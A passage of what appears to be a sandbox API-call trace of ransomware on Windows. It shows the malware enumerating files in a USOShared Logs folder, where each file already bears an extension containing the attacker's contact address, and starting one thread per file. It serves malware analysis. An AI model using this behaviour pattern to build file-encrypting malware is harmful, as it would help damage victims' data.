lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x87cf0f3b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOE118~1.D0E")) returned 1 [0170.839] wcscmp (_String1="NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.839] wcscmp (_String1="NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa50a0 [0170.839] wcscpy (in: _Dest=0x2fa50a0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.839] wcscat (in: _Dest=0x2fa50a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.839] wcscat (in: _Dest=0x2fa50a0, _Source="NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kokoklock@cock.li].d0e731" [0170.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa50a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0170.840] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0x87d174b4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO7EB9~1.D0E")) returned 1 [0170.840] wcscmp (_String1="NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.840] wcscmp (_String1="NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x3024080 [0170.840] wcscpy (in: _Dest=0x3024080, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.840] wcscat (in: _Dest=0x3024080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.840] wcscat (in: _Dest=0x3024080, _Source="NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.007.etl.mailto[kokoklock@cock.li].d0e731" [0170.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0170.841] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x87d3d478, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO7B08~1.D0E")) returned 1 [0170.841] wcscmp (_String1="NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.841] wcscmp (_String1="NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.841] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x3024148 [0170.841] wcscpy (in: _Dest=0x3024148, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.841] wcscat (in: _Dest=0x3024148, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.841] wcscat (in: _Dest=0x3024148, _Source="NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.008.etl.mailto[kokoklock@cock.li].d0e731" [0170.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0170.842] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x87d898a6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO0846~1.D0E")) returned 1 [0170.842] wcscmp (_String1="NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.842] wcscmp (_String1="NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x3024210 [0170.842] wcscpy (in: _Dest=0x3024210, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.842] wcscat (in: _Dest=0x3024210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.842] wcscat (in: _Dest=0x3024210, _Source="NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731" [0170.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3024210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0170.843] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x87dd5ded, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO57FB~1.D0E")) returned 1 [0170.843] wcscmp (_String1="NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.843] wcscmp (_String1="NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.843] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f8f458 [0170.843] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.843] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.843] wcscat (in: _Dest=0x2f8f458, _Source="NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731" [0170.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0170.844] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x87dfc136, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOE3AD~1.D0E")) returned 1 [0170.844] wcscmp (_String1="NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.844] wcscmp (_String1="NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.844] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f8f520 [0170.844] wcscpy (in: _Dest=0x2f8f520, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.844] wcscat (in: _Dest=0x2f8f520, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.844] wcscat (in: _Dest=0x2f8f520, _Source="NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731" [0170.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7bc [0170.845] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x87dfc136, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOE0FB~1.D0E")) returned 1 [0170.845] wcscmp (_String1="NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.845] wcscmp (_String1="NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2f8f5e8 [0170.845] wcscpy (in: _Dest=0x2f8f5e8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.845] wcscat (in: _Dest=0x2f8f5e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.845] wcscat (in: _Dest=0x2f8f5e8, _Source="NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731" [0170.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0170.845] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x87e48832, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO9262~1.D0E")) returned 1 [0170.845] wcscmp (_String1="NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.845] wcscmp (_String1="NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa0b10 [0170.846] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.846] wcscat (in: _Dest=0x2fa0b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.846] wcscat (in: _Dest=0x2fa0b10, _Source="NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731" [0170.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0170.846] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x89f3d2df, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO06B0~1.D0E")) returned 1 [0170.846] wcscmp (_String1="NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.846] wcscmp (_String1="NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0b520 [0170.846] wcscpy (in: _Dest=0x4f0b520, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.846] wcscat (in: _Dest=0x4f0b520, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.846] wcscat (in: _Dest=0x4f0b520, _Source="NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731" [0170.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0170.847] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x89f8971e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NO0962~1.D0E")) returned 1 [0170.847] wcscmp (_String1="NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.847] wcscmp (_String1="NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0b5e8 [0170.847] wcscpy (in: _Dest=0x4f0b5e8, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.847] wcscat (in: _Dest=0x4f0b5e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.847] wcscat (in: _Dest=0x4f0b5e8, _Source="NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731" [0170.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0170.848] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x89faf931, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOEC5D~1.D0E")) returned 1 [0170.850] wcscmp (_String1="NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.850] wcscmp (_String1="NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.850] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0aa30 [0170.851] wcscpy (in: _Dest=0x4f0aa30, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.851] wcscat (in: _Dest=0x4f0aa30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.851] wcscat (in: _Dest=0x4f0aa30, _Source="NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731" [0170.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0aa30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0170.851] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x89fd5b9a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x30c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NOEF0F~1.D0E")) returned 1 [0170.851] wcscmp (_String1="NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.851] wcscmp (_String1="NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.851] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0a8a0 [0170.851] wcscpy (in: _Dest=0x4f0a8a0, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.851] wcscat (in: _Dest=0x4f0a8a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.851] wcscat (in: _Dest=0x4f0a8a0, _Source="NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731" [0170.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0a8a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0170.853] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x89ffbd77, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDATE~1.D0E")) returned 1 [0170.853] wcscmp (_String1="UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.853] wcscmp (_String1="UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.853] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff2450 [0170.853] wcscpy (in: _Dest=0x2ff2450, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.853] wcscat (in: _Dest=0x2ff2450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.853] wcscat (in: _Dest=0x2ff2450, _Source="UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731" [0170.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff2450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0170.854] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2a522d7b, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x8a0483b3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UPDATE~2.D0E")) returned 1 [0170.854] wcscmp (_String1="UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.854] wcscmp (_String1="UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff2528 [0170.854] wcscpy (in: _Dest=0x2ff2528, _Source="C:\\Users\\All Users\\USOShared\\Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0170.854] wcscat (in: _Dest=0x2ff2528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0170.854] wcscat (in: _Dest=0x2ff2528, _Source="UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731" [0170.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff2528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0170.855] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2cbb43aa, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x8a06e598, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, 